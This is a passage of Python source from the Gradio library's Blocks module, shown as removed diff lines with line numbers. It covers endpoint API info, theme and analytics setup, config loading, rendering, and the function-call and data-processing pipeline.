- type = component["type"]
516
- if type in client_utils.SKIP_COMPONENTS:
517
- continue
518
- if (
519
- not component.get("serializer")
520
- and type not in serializing.COMPONENT_MAPPING
521
- ):
522
- skip_endpoint = True # if component not serializable, skip endpoint
523
- break
524
- if type in client_utils.SKIP_COMPONENTS:
525
- continue
526
- label = component["props"].get("label", f"parameter_{i}")
527
- # The config has the most specific API info (taking into account the parameters
528
- # of the component), so we use that if it exists. Otherwise, we fallback to the
529
- # Serializer's API info.
530
- serializer = serializing.COMPONENT_MAPPING[type]()
531
- if component.get("api_info") and after_new_format:
532
- info = component["api_info"]
533
- example = component["example_inputs"]["serialized"]
534
- else:
535
- assert isinstance(serializer, serializing.Serializable)
536
- info = serializer.api_info()
537
- example = serializer.example_inputs()["raw"]
538
- python_info = info["info"]
539
- if serialize and info["serialized_info"]:
540
- python_info = serializer.serialized_info()
541
- if (
542
- isinstance(serializer, serializing.FileSerializable)
543
- and component["props"].get("file_count", "single") != "single"
544
- ):
545
- python_info = serializer._multiple_file_serialized_info()
546
-
547
- python_type = client_utils.json_schema_to_python_type(python_info)
548
- serializer_name = serializing.COMPONENT_MAPPING[type].__name__
549
- dependency_info["parameters"].append(
550
- {
551
- "label": label,
552
- "type": info["info"],
553
- "python_type": {
554
- "type": python_type,
555
- "description": python_info.get("description", ""),
556
- },
557
- "component": type.capitalize(),
558
- "example_input": example,
559
- "serializer": serializer_name,
560
- }
561
- )
562
-
563
- outputs = dependency["outputs"]
564
- for o in outputs:
565
- for component in config["components"]:
566
- if component["id"] == o:
567
- break
568
- else:
569
- skip_endpoint = True # if component not found, skip endpoint
570
- break
571
- type = component["type"]
572
- if type in client_utils.SKIP_COMPONENTS:
573
- continue
574
- if (
575
- not component.get("serializer")
576
- and type not in serializing.COMPONENT_MAPPING
577
- ):
578
- skip_endpoint = True # if component not serializable, skip endpoint
579
- break
580
- label = component["props"].get("label", f"value_{o}")
581
- serializer = serializing.COMPONENT_MAPPING[type]()
582
- if component.get("api_info") and after_new_format:
583
- info = component["api_info"]
584
- example = component["example_inputs"]["serialized"]
585
- else:
586
- assert isinstance(serializer, serializing.Serializable)
587
- info = serializer.api_info()
588
- example = serializer.example_inputs()["raw"]
589
- python_info = info["info"]
590
- if serialize and info["serialized_info"]:
591
- python_info = serializer.serialized_info()
592
- if (
593
- isinstance(serializer, serializing.FileSerializable)
594
- and component["props"].get("file_count", "single") != "single"
595
- ):
596
- python_info = serializer._multiple_file_serialized_info()
597
- python_type = client_utils.json_schema_to_python_type(python_info)
598
- serializer_name = serializing.COMPONENT_MAPPING[type].__name__
599
- dependency_info["returns"].append(
600
- {
601
- "label": label,
602
- "type": info["info"],
603
- "python_type": {
604
- "type": python_type,
605
- "description": python_info.get("description", ""),
606
- },
607
- "component": type.capitalize(),
608
- "serializer": serializer_name,
609
- }
610
- )
611
-
612
- if not dependency["backend_fn"]:
613
- skip_endpoint = True
614
-
615
- if skip_endpoint:
616
- continue
617
- if dependency["api_name"] is not None and dependency["api_name"] is not False:
618
- api_info["named_endpoints"][f"/{dependency['api_name']}"] = dependency_info
619
- elif (
620
- dependency["api_name"] is False
621
- or mode == "interface"
622
- or mode == "tabbed_interface"
623
- ):
624
- pass # Skip unnamed endpoints in interface mode
625
- else:
626
- api_info["unnamed_endpoints"][str(d)] = dependency_info
627
-
628
- return api_info
629
-
630
-
631
- @document("launch", "queue", "integrate", "load")
632
- class Blocks(BlockContext):
633
- """
634
- Blocks is Gradio's low-level API that allows you to create more custom web
635
- applications and demos than Interfaces (yet still entirely in Python).
636
-
637
-
638
- Compared to the Interface class, Blocks offers more flexibility and control over:
639
- (1) the layout of components (2) the events that
640
- trigger the execution of functions (3) data flows (e.g. inputs can trigger outputs,
641
- which can trigger the next level of outputs). Blocks also offers ways to group
642
- together related demos such as with tabs.
643
-
644
-
645
- The basic usage of Blocks is as follows: create a Blocks object, then use it as a
646
- context (with the "with" statement), and then define layouts, components, or events
647
- within the Blocks context. Finally, call the launch() method to launch the demo.
648
-
649
- Example:
650
- import gradio as gr
651
- def update(name):
652
- return f"Welcome to Gradio, {name}!"
653
-
654
- with gr.Blocks() as demo:
655
- gr.Markdown("Start typing below and then click **Run** to see the output.")
656
- with gr.Row():
657
- inp = gr.Textbox(placeholder="What is your name?")
658
- out = gr.Textbox()
659
- btn = gr.Button("Run")
660
- btn.click(fn=update, inputs=inp, outputs=out)
661
-
662
- demo.launch()
663
- Demos: blocks_hello, blocks_flipper, blocks_speech_text_sentiment, generate_english_german, sound_alert
664
- Guides: blocks-and-event-listeners, controlling-layout, state-in-blocks, custom-CSS-and-JS, custom-interpretations-with-blocks, using-blocks-like-functions
665
- """
666
-
667
- def __init__(
668
- self,
669
- theme: Theme | str | None = None,
670
- analytics_enabled: bool | None = None,
671
- mode: str = "blocks",
672
- title: str = "Gradio",
673
- css: str | None = None,
674
- **kwargs,
675
- ):
676
- """
677
- Parameters:
678
- theme: a Theme object or a string representing a theme. If a string, will look for a built-in theme with that name (e.g. "soft" or "default"), or will attempt to load a theme from the HF Hub (e.g. "gradio/monochrome"). If None, will use the Default theme.
679
- analytics_enabled: whether to allow basic telemetry. If None, will use GRADIO_ANALYTICS_ENABLED environment variable or default to True.
680
- mode: a human-friendly name for the kind of Blocks or Interface being created.
681
- title: The tab title to display when this is opened in a browser window.
682
- css: custom css or path to custom css file to apply to entire Blocks
683
- """
684
- self.limiter = None
685
- if theme is None:
686
- theme = DefaultTheme()
687
- elif isinstance(theme, str):
688
- if theme.lower() in BUILT_IN_THEMES:
689
- theme = BUILT_IN_THEMES[theme.lower()]
690
- else:
691
- try:
692
- theme = Theme.from_hub(theme)
693
- except Exception as e:
694
- warnings.warn(f"Cannot load {theme}. Caught Exception: {str(e)}")
695
- theme = DefaultTheme()
696
- if not isinstance(theme, Theme):
697
- warnings.warn("Theme should be a class loaded from gradio.themes")
698
- theme = DefaultTheme()
699
- self.theme: Theme = theme
700
- self.theme_css = theme._get_theme_css()
701
- self.stylesheets = theme._stylesheets
702
- self.encrypt = False
703
- self.share = False
704
- self.enable_queue = None
705
- self.max_threads = 40
706
- self.show_error = True
707
- if css is not None and os.path.exists(css):
708
- with open(css) as css_file:
709
- self.css = css_file.read()
710
- else:
711
- self.css = css
712
-
713
- # For analytics_enabled and allow_flagging: (1) first check for
714
- # parameter, (2) check for env variable, (3) default to True/"manual"
715
- self.analytics_enabled = (
716
- analytics_enabled
717
- if analytics_enabled is not None
718
- else analytics.analytics_enabled()
719
- )
720
- if self.analytics_enabled:
721
- t = threading.Thread(target=analytics.version_check)
722
- t.start()
723
- else:
724
- os.environ["HF_HUB_DISABLE_TELEMETRY"] = "True"
725
- super().__init__(render=False, **kwargs)
726
- self.blocks: dict[int, Block] = {}
727
- self.fns: list[BlockFunction] = []
728
- self.dependencies = []
729
- self.mode = mode
730
-
731
- self.is_running = False
732
- self.local_url = None
733
- self.share_url = None
734
- self.width = None
735
- self.height = None
736
- self.api_open = True
737
-
738
- self.space_id = utils.get_space()
739
- self.favicon_path = None
740
- self.auth = None
741
- self.dev_mode = True
742
- self.app_id = random.getrandbits(64)
743
- self.temp_file_sets = []
744
- self.title = title
745
- self.show_api = True
746
-
747
- # Only used when an Interface is loaded from a config
748
- self.predict = None
749
- self.input_components = None
750
- self.output_components = None
751
- self.__name__ = None
752
- self.api_mode = None
753
- self.progress_tracking = None
754
- self.ssl_verify = True
755
-
756
- self.allowed_paths = []
757
- self.blocked_paths = []
758
- self.root_path = ""
759
- self.root_urls = set()
760
-
761
- if not wasm_utils.IS_WASM and self.analytics_enabled:
762
- is_custom_theme = not any(
763
- self.theme.to_dict() == built_in_theme.to_dict()
764
- for built_in_theme in BUILT_IN_THEMES.values()
765
- )
766
- data = {
767
- "mode": self.mode,
768
- "custom_css": self.css is not None,
769
- "theme": self.theme.name,
770
- "is_custom_theme": is_custom_theme,
771
- "version": GRADIO_VERSION,
772
- }
773
- analytics.initiated_analytics(data)
774
-
775
- @classmethod
776
- def from_config(
777
- cls,
778
- config: dict,
779
- fns: list[Callable],
780
- root_url: str,
781
- ) -> Blocks:
782
- """
783
- Factory method that creates a Blocks from a config and list of functions. Used
784
- internally by the gradio.external.load() method.
785
-
786
- Parameters:
787
- config: a dictionary containing the configuration of the Blocks.
788
- fns: a list of functions that are used in the Blocks. Must be in the same order as the dependencies in the config.
789
- root_url: an external url to use as a root URL when serving files for components in the Blocks.
790
- """
791
- config = copy.deepcopy(config)
792
- components_config = config["components"]
793
- for component_config in components_config:
794
- # for backwards compatibility, extract style into props
795
- if "style" in component_config["props"]:
796
- component_config["props"].update(component_config["props"]["style"])
797
- del component_config["props"]["style"]
798
- theme = config.get("theme", "default")
799
- original_mapping: dict[int, Block] = {}
800
- root_urls = {root_url}
801
-
802
- def get_block_instance(id: int) -> Block:
803
- for block_config in components_config:
804
- if block_config["id"] == id:
805
- break
806
- else:
807
- raise ValueError(f"Cannot find block with id {id}")
808
- cls = component_or_layout_class(block_config["type"])
809
- block_config["props"].pop("type", None)
810
- block_config["props"].pop("name", None)
811
- # If a Gradio app B is loaded into a Gradio app A, and B itself loads a
812
- # Gradio app C, then the root_urls of the components in A need to be the
813
- # URL of C, not B. The else clause below handles this case.
814
- if block_config["props"].get("root_url") is None:
815
- block_config["props"]["root_url"] = f"{root_url}/"
816
- else:
817
- root_urls.add(block_config["props"]["root_url"])
818
- # Any component has already processed its initial value, so we skip that step here
819
- block = cls(**block_config["props"], _skip_init_processing=True)
820
- return block
821
-
822
- def iterate_over_children(children_list):
823
- for child_config in children_list:
824
- id = child_config["id"]
825
- block = get_block_instance(id)
826
-
827
- original_mapping[id] = block
828
-
829
- children = child_config.get("children")
830
- if children is not None:
831
- assert isinstance(
832
- block, BlockContext
833
- ), f"Invalid config, Block with id {id} has children but is not a BlockContext."
834
- with block:
835
- iterate_over_children(children)
836
-
837
- derived_fields = ["types"]
838
-
839
- with Blocks(theme=theme) as blocks:
840
- # ID 0 should be the root Blocks component
841
- original_mapping[0] = Context.root_block or blocks
842
-
843
- iterate_over_children(config["layout"]["children"])
844
-
845
- first_dependency = None
846
-
847
- # add the event triggers
848
- for dependency, fn in zip(config["dependencies"], fns):
849
- # We used to add a "fake_event" to the config to cache examples
850
- # without removing it. This was causing bugs in calling gr.load
851
- # We fixed the issue by removing "fake_event" from the config in examples.py
852
- # but we still need to skip these events when loading the config to support
853
- # older demos
854
- if dependency["trigger"] == "fake_event":
855
- continue
856
- for field in derived_fields:
857
- dependency.pop(field, None)
858
- targets = dependency.pop("targets")
859
- trigger = dependency.pop("trigger")
860
- dependency.pop("backend_fn")
861
- dependency.pop("documentation", None)
862
- dependency["inputs"] = [
863
- original_mapping[i] for i in dependency["inputs"]
864
- ]
865
- dependency["outputs"] = [
866
- original_mapping[o] for o in dependency["outputs"]
867
- ]
868
- dependency.pop("status_tracker", None)
869
- dependency["preprocess"] = False
870
- dependency["postprocess"] = False
871
-
872
- for target in targets:
873
- dependency = original_mapping[target].set_event_trigger(
874
- event_name=trigger, fn=fn, **dependency
875
- )[0]
876
- if first_dependency is None:
877
- first_dependency = dependency
878
-
879
- # Allows some use of Interface-specific methods with loaded Spaces
880
- if first_dependency and Context.root_block:
881
- blocks.predict = [fns[0]]
882
- blocks.input_components = [
883
- Context.root_block.blocks[i] for i in first_dependency["inputs"]
884
- ]
885
- blocks.output_components = [
886
- Context.root_block.blocks[o] for o in first_dependency["outputs"]
887
- ]
888
- blocks.__name__ = "Interface"
889
- blocks.api_mode = True
890
-
891
- blocks.root_urls = root_urls
892
- return blocks
893
-
894
- def __str__(self):
895
- return self.__repr__()
896
-
897
- def __repr__(self):
898
- num_backend_fns = len([d for d in self.dependencies if d["backend_fn"]])
899
- repr = f"Gradio Blocks instance: {num_backend_fns} backend functions"
900
- repr += f"\n{'-' * len(repr)}"
901
- for d, dependency in enumerate(self.dependencies):
902
- if dependency["backend_fn"]:
903
- repr += f"\nfn_index={d}"
904
- repr += "\n inputs:"
905
- for input_id in dependency["inputs"]:
906
- block = self.blocks[input_id]
907
- repr += f"\n |-{block}"
908
- repr += "\n outputs:"
909
- for output_id in dependency["outputs"]:
910
- block = self.blocks[output_id]
911
- repr += f"\n |-{block}"
912
- return repr
913
-
914
- def render(self):
915
- if Context.root_block is not None:
916
- if self._id in Context.root_block.blocks:
917
- raise DuplicateBlockError(
918
- f"A block with id: {self._id} has already been rendered in the current Blocks."
919
- )
920
- overlapping_ids = set(Context.root_block.blocks).intersection(self.blocks)
921
- for id in overlapping_ids:
922
- # State components are allowed to be reused between Blocks
923
- if not isinstance(self.blocks[id], components.State):
924
- raise DuplicateBlockError(
925
- "At least one block in this Blocks has already been rendered."
926
- )
927
-
928
- Context.root_block.blocks.update(self.blocks)
929
- Context.root_block.fns.extend(self.fns)
930
- dependency_offset = len(Context.root_block.dependencies)
931
- for i, dependency in enumerate(self.dependencies):
932
- api_name = dependency["api_name"]
933
- if api_name is not None and api_name is not False:
934
- api_name_ = utils.append_unique_suffix(
935
- api_name,
936
- [dep["api_name"] for dep in Context.root_block.dependencies],
937
- )
938
- if api_name != api_name_:
939
- warnings.warn(
940
- f"api_name {api_name} already exists, using {api_name_}"
941
- )
942
- dependency["api_name"] = api_name_
943
- dependency["cancels"] = [
944
- c + dependency_offset for c in dependency["cancels"]
945
- ]
946
- if dependency.get("trigger_after") is not None:
947
- dependency["trigger_after"] += dependency_offset
948
- # Recreate the cancel function so that it has the latest
949
- # dependency fn indices. This is necessary to properly cancel
950
- # events in the backend
951
- if dependency["cancels"]:
952
- updated_cancels = [
953
- Context.root_block.dependencies[i]
954
- for i in dependency["cancels"]
955
- ]
956
- new_fn = BlockFunction(
957
- get_cancel_function(updated_cancels)[0],
958
- [],
959
- [],
960
- False,
961
- True,
962
- False,
963
- )
964
- Context.root_block.fns[dependency_offset + i] = new_fn
965
- Context.root_block.dependencies.append(dependency)
966
- Context.root_block.temp_file_sets.extend(self.temp_file_sets)
967
- Context.root_block.root_urls.update(self.root_urls)
968
-
969
- if Context.block is not None:
970
- Context.block.children.extend(self.children)
971
- return self
972
-
973
- def is_callable(self, fn_index: int = 0) -> bool:
974
- """Checks if a particular Blocks function is callable (i.e. not stateful or a generator)."""
975
- block_fn = self.fns[fn_index]
976
- dependency = self.dependencies[fn_index]
977
-
978
- if inspect.isasyncgenfunction(block_fn.fn):
979
- return False
980
- if inspect.isgeneratorfunction(block_fn.fn):
981
- return False
982
- for input_id in dependency["inputs"]:
983
- block = self.blocks[input_id]
984
- if getattr(block, "stateful", False):
985
- return False
986
- for output_id in dependency["outputs"]:
987
- block = self.blocks[output_id]
988
- if getattr(block, "stateful", False):
989
- return False
990
-
991
- return True
992
-
993
- def __call__(self, *inputs, fn_index: int = 0, api_name: str | None = None):
994
- """
995
- Allows Blocks objects to be called as functions. Supply the parameters to the
996
- function as positional arguments. To choose which function to call, use the
997
- fn_index parameter, which must be a keyword argument.
998
-
999
- Parameters:
1000
- *inputs: the parameters to pass to the function
1001
- fn_index: the index of the function to call (defaults to 0, which for Interfaces, is the default prediction function)
1002
- api_name: The api_name of the dependency to call. Will take precedence over fn_index.
1003
- """
1004
- if api_name is not None:
1005
- inferred_fn_index = next(
1006
- (
1007
- i
1008
- for i, d in enumerate(self.dependencies)
1009
- if d.get("api_name") == api_name
1010
- ),
1011
- None,
1012
- )
1013
- if inferred_fn_index is None:
1014
- raise InvalidApiNameError(
1015
- f"Cannot find a function with api_name {api_name}"
1016
- )
1017
- fn_index = inferred_fn_index
1018
- if not (self.is_callable(fn_index)):
1019
- raise ValueError(
1020
- "This function is not callable because it is either stateful or is a generator. Please use the .launch() method instead to create an interactive user interface."
1021
- )
1022
-
1023
- inputs = list(inputs)
1024
- processed_inputs = self.serialize_data(fn_index, inputs)
1025
- batch = self.dependencies[fn_index]["batch"]
1026
- if batch:
1027
- processed_inputs = [[inp] for inp in processed_inputs]
1028
-
1029
- outputs = client_utils.synchronize_async(
1030
- self.process_api,
1031
- fn_index=fn_index,
1032
- inputs=processed_inputs,
1033
- request=None,
1034
- state={},
1035
- )
1036
- outputs = outputs["data"]
1037
-
1038
- if batch:
1039
- outputs = [out[0] for out in outputs]
1040
-
1041
- processed_outputs = self.deserialize_data(fn_index, outputs)
1042
- processed_outputs = utils.resolve_singleton(processed_outputs)
1043
-
1044
- return processed_outputs
1045
-
1046
- async def call_function(
1047
- self,
1048
- fn_index: int,
1049
- processed_input: list[Any],
1050
- iterator: AsyncIterator[Any] | None = None,
1051
- requests: routes.Request | list[routes.Request] | None = None,
1052
- event_id: str | None = None,
1053
- event_data: EventData | None = None,
1054
- ):
1055
- """
1056
- Calls function with given index and preprocessed input, and measures process time.
1057
- Parameters:
1058
- fn_index: index of function to call
1059
- processed_input: preprocessed input to pass to function
1060
- iterator: iterator to use if function is a generator
1061
- requests: requests to pass to function
1062
- event_id: id of event in queue
1063
- event_data: data associated with event trigger
1064
- """
1065
- block_fn = self.fns[fn_index]
1066
- assert block_fn.fn, f"function with index {fn_index} not defined."
1067
- is_generating = False
1068
-
1069
- if block_fn.inputs_as_dict:
1070
- processed_input = [dict(zip(block_fn.inputs, processed_input))]
1071
-
1072
- request = requests[0] if isinstance(requests, list) else requests
1073
- processed_input, progress_index, _ = special_args(
1074
- block_fn.fn, processed_input, request, event_data
1075
- )
1076
- progress_tracker = (
1077
- processed_input[progress_index] if progress_index is not None else None
1078
- )
1079
-
1080
- start = time.time()
1081
-
1082
- fn = utils.get_function_with_locals(block_fn.fn, self, event_id)
1083
-
1084
- if iterator is None: # If not a generator function that has already run
1085
- if progress_tracker is not None and progress_index is not None:
1086
- progress_tracker, fn = create_tracker(
1087
- self, event_id, fn, progress_tracker.track_tqdm
1088
- )
1089
- processed_input[progress_index] = progress_tracker
1090
-
1091
- if inspect.iscoroutinefunction(fn):
1092
- prediction = await fn(*processed_input)
1093
- else:
1094
- prediction = await anyio.to_thread.run_sync(
1095
- fn, *processed_input, limiter=self.limiter
1096
- )
1097
- else:
1098
- prediction = None
1099
-
1100
- if inspect.isgeneratorfunction(fn) or inspect.isasyncgenfunction(fn):
1101
- if not self.enable_queue:
1102
- raise ValueError("Need to enable queue to use generators.")
1103
- try:
1104
- if iterator is None:
1105
- iterator = cast(AsyncIterator[Any], prediction)
1106
- if inspect.isgenerator(iterator):
1107
- iterator = utils.SyncToAsyncIterator(iterator, self.limiter)
1108
- prediction = await utils.async_iteration(iterator)
1109
- is_generating = True
1110
- except StopAsyncIteration:
1111
- n_outputs = len(self.dependencies[fn_index].get("outputs"))
1112
- prediction = (
1113
- components._Keywords.FINISHED_ITERATING
1114
- if n_outputs == 1
1115
- else (components._Keywords.FINISHED_ITERATING,) * n_outputs
1116
- )
1117
- iterator = None
1118
-
1119
- duration = time.time() - start
1120
-
1121
- return {
1122
- "prediction": prediction,
1123
- "duration": duration,
1124
- "is_generating": is_generating,
1125
- "iterator": iterator,
1126
- }
1127
-
1128
- def serialize_data(self, fn_index: int, inputs: list[Any]) -> list[Any]:
1129
- dependency = self.dependencies[fn_index]
1130
- processed_input = []
1131
-
1132
- for i, input_id in enumerate(dependency["inputs"]):
1133
- try:
1134
- block = self.blocks[input_id]
1135
- except KeyError as e:
1136
- raise InvalidBlockError(
1137
- f"Input component with id {input_id} used in {dependency['trigger']}() event is not defined in this gr.Blocks context. You are allowed to nest gr.Blocks contexts, but there must be a gr.Blocks context that contains all components and events."
1138
- ) from e
1139
- assert isinstance(
1140
- block, components.IOComponent
1141
- ), f"{block.__class__} Component with id {input_id} not a valid input component."
1142
- serialized_input = block.serialize(inputs[i])
1143
- processed_input.append(serialized_input)
1144
-
1145
- return processed_input
1146
-
1147
- def deserialize_data(self, fn_index: int, outputs: list[Any]) -> list[Any]:
1148
- dependency = self.dependencies[fn_index]
1149
- predictions = []
1150
-
1151
- for o, output_id in enumerate(dependency["outputs"]):
1152
- try:
1153
- block = self.blocks[output_id]
1154
- except KeyError as e:
1155
- raise InvalidBlockError(
1156
- f"Output component with id {output_id} used in {dependency['trigger']}() event not found in this gr.Blocks context. You are allowed to nest gr.Blocks contexts, but there must be a gr.Blocks context that contains all components and events."
1157
- ) from e
1158
- assert isinstance(
1159
- block, components.IOComponent
1160
- ), f"{block.__class__} Component with id {output_id} not a valid output component."
1161
- deserialized = block.deserialize(
1162
- outputs[o],
1163
- save_dir=block.DEFAULT_TEMP_DIR,
1164
- root_url=block.root_url,
1165
- hf_token=Context.hf_token,
1166
- )
1167
- predictions.append(deserialized)
1168
-
1169
- return predictions
1170
-
1171
- def validate_inputs(self, fn_index: int, inputs: list[Any]):
1172
- block_fn = self.fns[fn_index]
1173
- dependency = self.dependencies[fn_index]
1174
-
1175
- dep_inputs = dependency["inputs"]
1176
-
1177
- # This handles incorrect inputs when args are changed by a JS function
1178
- # Only check not enough args case, ignore extra arguments (for now)
1179
- # TODO: make this stricter?
1180
- if len(inputs) < len(dep_inputs):
1181
- name = (
1182
- f" ({block_fn.name})"
1183
- if block_fn.name and block_fn.name != "<lambda>"
1184
- else ""
1185
- )
1186
-
1187
- wanted_args = []
1188
- received_args = []
1189
- for input_id in dep_inputs:
1190
- block = self.blocks[input_id]
1191
- wanted_args.append(str(block))
1192
- for inp in inputs:
1193
- v = f'"{inp}"' if isinstance(inp, str) else str(inp)
1194
- received_args.append(v)
1195
-
1196
- wanted = ", ".join(wanted_args)
1197
- received = ", ".join(received_args)
1198
-
1199
- # JS func didn't pass enough arguments
1200
- raise ValueError(
1201
- f"""An event handler{name} didn't receive enough input values (needed: {len(dep_inputs)}, got: {len(inputs)}).
1202
- Check if the event handler calls a Javascript function, and make sure its return value is correct.
1203
- Wanted inputs:
1204
- [{wanted}]
1205
- Received inputs:
1206
- [{received}]"""
1207
- )
1208
-
1209
- def preprocess_data(self, fn_index: int, inputs: list[Any], state: dict[int, Any]):
1210
- block_fn = self.fns[fn_index]
1211
- dependency = self.dependencies[fn_index]
1212
-
1213
- self.validate_inputs(fn_index, inputs)
1214
-
1215
- if block_fn.preprocess:
1216
- processed_input = []
1217
- for i, input_id in enumerate(dependency["inputs"]):
1218
- try:
1219
- block = self.blocks[input_id]
1220
- except KeyError as e:
1221
- raise InvalidBlockError(
1222
- f"Input component with id {input_id} used in {dependency['trigger']}() event not found in this gr.Blocks context. You are allowed to nest gr.Blocks contexts, but there must be a gr.Blocks context that contains all components and events."
1223
- ) from e
1224
- assert isinstance(
1225
- block, components.Component
1226
- ), f"{block.__class__} Component with id {input_id} not a valid input component."
1227
- if getattr(block, "stateful", False):
1228
- processed_input.append(state.get(input_id))
1229
- else:
1230
- processed_input.append(block.preprocess(inputs[i]))
1231
- else:
1232
- processed_input = inputs
1233
- return processed_input
1234
-
1235
- def validate_outputs(self, fn_index: int, predictions: Any | list[Any]):
1236
- block_fn = self.fns[fn_index]
1237
- dependency = self.dependencies[fn_index]
1238
-
1239
- dep_outputs = dependency["outputs"]
1240
-
1241
- if type(predictions) is not list and type(predictions) is not tuple:
1242
- predictions = [predictions]
1243
-
1244
- if len(predictions) < len(dep_outputs):
1245
- name = (
1246
- f" ({block_fn.name})"
1247
- if block_fn.name and block_fn.name != "<lambda>"
1248
- else ""
1249
- )
1250
-
1251
- wanted_args = []
1252
- received_args = []
1253
- for output_id in dep_outputs:
1254
- block = self.blocks[output_id]
1255
- wanted_args.append(str(block))
1256
- for pred in predictions:
1257
- v = f'"{pred}"' if isinstance(pred, str) else str(pred)
1258
- received_args.append(v)
1259
-
1260
- wanted = ", ".join(wanted_args)
1261
- received = ", ".join(received_args)
1262
-
1263
- raise ValueError(
1264
- f"""An event handler{name} didn't receive enough output values (needed: {len(dep_outputs)}, received: {len(predictions)}).
1265
- Wanted outputs:
1266
- [{wanted}]
1267
- Received outputs:
1268
- [{received}]"""
1269
- )
1270
-
1271
- def postprocess_data(
1272
- self, fn_index: int, predictions: list | dict, state: dict[int, Any]
1273
- ):
1274
- block_fn = self.fns[fn_index]
1275
- dependency = self.dependencies[fn_index]
1276
- batch = dependency["batch"]
1277
-
1278
- if type(predictions) is dict and len(predictions) > 0:
1279
- predictions = convert_component_dict_to_list(
1280
- dependency["outputs"], predictions
1281
- )
1282
-
1283
- if len(dependency["outputs"]) == 1 and not (batch):
1284
- predictions = [
1285
- predictions,
1286
- ]
1287
-
1288
- self.validate_outputs(fn_index, predictions) # type: ignore
1289
-
1290
- output = []
1291
- for i, output_id in enumerate(dependency["outputs"]):
1292
- try:
1293
- if predictions[i] is components._Keywords.FINISHED_ITERATING:
1294
- output.append(None)
1295
- continue
1296
- except (IndexError, KeyError) as err:
1297
- raise ValueError(
1298
- "Number of output components does not match number "
1299
- f"of values returned from from function {block_fn.name}"
1300
- ) from err
1301
-
1302
- try:
1303
- block = self.blocks[output_id]
1304
- except KeyError as e:
1305
- raise InvalidBlockError(
1306
- f"Output component with id {output_id} used in {dependency['trigger']}() event not found in this gr.Blocks context. You are allowed to nest gr.Blocks contexts, but there must be a gr.Blocks context that contains all components and events."
1307
- ) from e
1308
-
1309
- if getattr(block, "stateful", False):
1310
- if not utils.is_update(predictions[i]):
1311
- state[output_id] = predictions[i]
1312
- output.append(None)
1313
- else:
1314
- prediction_value = predictions[i]
1315
- if utils.is_update(prediction_value):
1316
- assert isinstance(prediction_value, dict)
1317
- prediction_value = postprocess_update_dict(
1318
- block=block,
1319
- update_dict=prediction_value,
1320
- postprocess=block_fn.postprocess,
1321
- )
1322
- elif block_fn.postprocess:
1323
- assert isinstance(
1324
- block, components.Component
1325
- ), f"{block.__class__} Component with id {output_id} not a valid output component."
1326
- prediction_value = block.postprocess(prediction_value)
1327
- output.append(prediction_value)
1328
-
1329
- return output
1330
-
1331
- async def process_api(
1332
- self,
1333
- fn_index: int,
1334
- inputs: list[Any],
1335
- state: dict[int, Any],
1336
- request: routes.Request | list[routes.Request] | None = None,
1337
- iterators: dict[int, Any] | None = None,
1338
- event_id: str | None = None,
1339
- event_data: EventData | None = None,
1340
- ) -> dict[str, Any]:
1341
- """
1342
- Processes API calls from the frontend. First preprocesses the data,
1343
- then runs the relevant function, then postprocesses the output.
1344
- Parameters:
1345
- fn_index: Index of function to run.
1346
- inputs: input data received from the frontend
1347
- state: data stored from stateful components for session (key is input block id)
1348
- request: the gr.Request object containing information about the network request (e.g. IP address, headers, query parameters, username)
1349
- iterators: the in-progress iterators for each generator function (key is function index)
1350
- event_id: id of event that triggered this API call
1351
- event_data: data associated with the event trigger itself
1352
- Returns: None
1353
- """
1354
- block_fn = self.fns[fn_index]
1355
- batch = self.dependencies[fn_index]["batch"]
1356
-
1357
- if batch:
1358
- max_batch_size = self.dependencies[fn_index]["max_batch_size"]
1359
- batch_sizes = [len(inp) for inp in inputs]
1360
- batch_size = batch_sizes[0]
1361
- if inspect.isasyncgenfunction(block_fn.fn) or inspect.isgeneratorfunction(
1362
- block_fn.fn
1363
- ):
1364
- raise ValueError("Gradio does not support generators in batch mode.")
1365
- if not all(x == batch_size for x in batch_sizes):
1366
- raise ValueError(
1367
- f"All inputs to a batch function must have the same length but instead have sizes: {batch_sizes}."
1368
- )
1369
- if batch_size > max_batch_size:
1370
- raise ValueError(
1371
- f"Batch size ({batch_size}) exceeds the max_batch_size for this function ({max_batch_size})"
1372
- )
1373
-
1374
- inputs = [
1375
- self.preprocess_data(fn_index, list(i), state) for i in zip(*inputs)
1376
- ]
1377
- result = await self.call_function(
1378
- fn_index, list(zip(*inputs)), None, request, event_id, event_data
1379
- )
1380
- preds = result["prediction"]
1381
- data = [
1382
- self.postprocess_data(fn_index, list(o), state) for o in zip(*preds)
1383
- ]
1384
- data = list(zip(*data))
1385
- is_generating, iterator = None, None
1386
- else:
1387
- inputs = self.preprocess_data(fn_index, inputs, state)
1388
- iterator = iterators.get(fn_index, None) if iterators else None
1389
- result = await self.call_function(
1390
- fn_index, inputs, iterator, request, event_id, event_data
1391
- )
1392
- data = self.postprocess_data(fn_index, result["prediction"], state)
1393
- is_generating, iterator = result["is_generating"], result["iterator"]
1394
-
1395
- block_fn.total_runtime += result["duration"]
1396
- block_fn.total_runs += 1
1397
- return {
1398
- "data": data,
1399
- "is_generating": is_generating,
1400
- "iterator": iterator,
1401
- "duration": result["duration"],
1402
- "average_duration": block_fn.total_runtime / block_fn.total_runs,
1403
- }
1404
-
1405
- async def create_limiter(self):
1406
- self.limiter = (
1407
- None
1408
- if self.max_threads == 40
1409
- else CapacityLimiter(total_tokens=self.max_threads)
1410
- )
1411
-
1412
- def get_config(self):
1413
- return {"type": "column"}
1414
-
1415
- def get_config_file(self):
1416
- config = {
1417
- "version": routes.VERSION,
1418
- "mode": self.mode,
1419
- "dev_mode": self.dev_mode,
1420
- "analytics_enabled": self.analytics_enabled,
1421
- "components": [],
1422
- "css": self.css,
1423
- "title": self.title or "Gradio",
1424
- "space_id": self.space_id,
1425
- "enable_queue": getattr(self, "enable_queue", False), # launch attributes
1426
- "show_error": getattr(self, "show_error", False),
1427
- "show_api": self.show_api,
1428
- "is_colab": utils.colab_check(),
1429
- "stylesheets": self.stylesheets,
1430
- "theme": self.theme.name,
1431
- }
1432
-
1433
- def get_layout(block):
1434
- if not isinstance(block, BlockContext):
1435
- return {"id": block._id}
1436
- children_layout = []
1437
- for child in block.children:
1438
- children_layout.append(get_layout(child))
1439
- return {"id": block._id, "children": children_layout}
1440
-
1441
- config["layout"] = get_layout(self)
1442
-
1443
- for _id, block in self.blocks.items():
1444
- props = block.get_config() if hasattr(block, "get_config") else {}
1445
- block_config = {
1446
- "id": _id,
1447
- "type": block.get_block_name(),
1448
- "props": utils.delete_none(props),
1449
- }
1450
- serializer = utils.get_serializer_name(block)
1451
- if serializer:
1452
- assert isinstance(block, serializing.Serializable)
1453
- block_config["serializer"] = serializer
1454
